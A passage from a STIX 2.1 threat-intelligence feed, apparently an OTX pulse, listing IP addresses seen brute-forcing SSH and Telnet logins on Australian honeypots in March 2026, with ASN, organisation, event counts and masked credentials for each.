      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.195.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--66033f50-d0e8-40f2-b783-81a5fdd0ccdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.59.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.134.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********y, 1******2, 3***********4, 3**********4, A*******7.",
      "id": "indicator--3be913a1-dc88-4f85-aef3-f43bfc4b6041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.138.103.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): P*******a.",
      "id": "indicator--2b2ab081-45fc-4a8a-879b-4235d919006d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.61.72.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cecb0660-7ada-411f-acad-e5fde910a88a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.222.189.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AL. ASN(s): 215025. Organisation(s): Net.com Shpk. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********1, 1**********c, 3***********4, 3**********4, Q******4.",
      "id": "indicator--5e919ece-dd70-4473-a71c-183971c23c23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.226.89.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--ce1e6368-6470-4b82-98e0-bde43cb86853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 97. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--9db3de2e-695c-4812-a9d8-12b5c3e46496",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.215.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): z****n, z***!, z*******!.",
      "id": "indicator--eb371501-1dd6-48a3-893c-782f17046682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******6, Q******5, Q*****3.",
      "id": "indicator--7462d126-41a4-40df-a19c-f395ae7a8b0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.108.100.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********y, 1******2, 3***********4, 3**********4, A*******7.",
      "id": "indicator--1559e1e4-2ca7-4dc1-ba02-eb98dba77da3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.57.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: UA. ASN(s): 6849. Organisation(s): JSC Ukrtelecom.",
      "id": "indicator--0e248a26-1e61-4624-a757-49d64188505c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.207.26.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**********v, 3***********4, 3**********4, @**********v, A********.",
      "id": "indicator--12024afd-9943-4d34-bc70-0e49d4fa1ff4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.191.14.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--adfd5f5e-a301-4dc8-9a80-9a8c34681439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.210.50.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c8d34747-b5dd-4861-9c87-0fa3bab0c66d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.176.160.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ab0c4159-5803-4c3e-b5fa-4e4c3533e0a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.178.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): m****r.",
      "id": "indicator--d6ad5538-d563-430b-ae0f-b4b870af9710",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, ***, r**t, r*****3, r*****1.",
      "id": "indicator--e165b5a3-1b28-48ac-bd40-62c3dc760a6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.161.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******0, 3**********4, 9****4, G*******3, T*******@.",
      "id": "indicator--40506217-f08d-4232-8353-cc89bf637774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.251.169.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--4af6f23d-d54a-4731-95df-41da1a44f8c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.130.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--75b2689a-b674-4b0e-9836-ec716286bead",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.227.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8.",
      "id": "indicator--8a743582-f667-4b35-9188-87bee83afc58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.230.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******6, 1******R, 3***********4, 3**********4, P*******a.",
      "id": "indicator--c0f1a512-a295-4b50-af89-f773343721bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.249.50.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 1********t, 1*******., 2**6, 3***********4.",
      "id": "indicator--7f569464-98d8-4b2a-b42e-87bfad94e74d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.99.169.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******d, 1*******!, 3***********4, 3**********4, A*******6.",
      "id": "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.194.4.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SK. ASN(s): 61424. Organisation(s): eServer s.r.o.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******c, 3**********4, B*******3, Q*******3, s******e.",
      "id": "indicator--003ee4c6-dd54-4d1d-a730-42011394424f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.129.141.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 268818. Organisation(s): Kobertura Telecom LTDA.",
      "id": "indicator--f697656a-069a-4aaa-9fb7-d7658644c069",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.173.176.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T22:15:06.000Z",
      "valid_until": "2026-04-02T22:15:05.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--d3ec7a31-e5c8-49a4-91c5-f464c5f935ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.68.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--99aec10e-d18c-43a1-b399-65e535a24dd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.148.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d582ca9c-0afd-4f9a-a041-078135f0c5c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--56770158-1d1b-4f0f-9554-af8d111356c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.130.203.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--84204ce5-d68c-4613-bcff-4b2449a333f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.188.249.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-01T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--b8316e2f-f49f-4101-aeba-8a847d5cbdfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.185.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:15:14.000Z",
      "valid_until": "2026-04-02T23:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 37468. Organisation(s): ANGOLA-CABLES. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, A*********#, A********0.",
      "id": "indicator--2571a863-bd53-487a-997f-616c3b30db32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.211.152.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
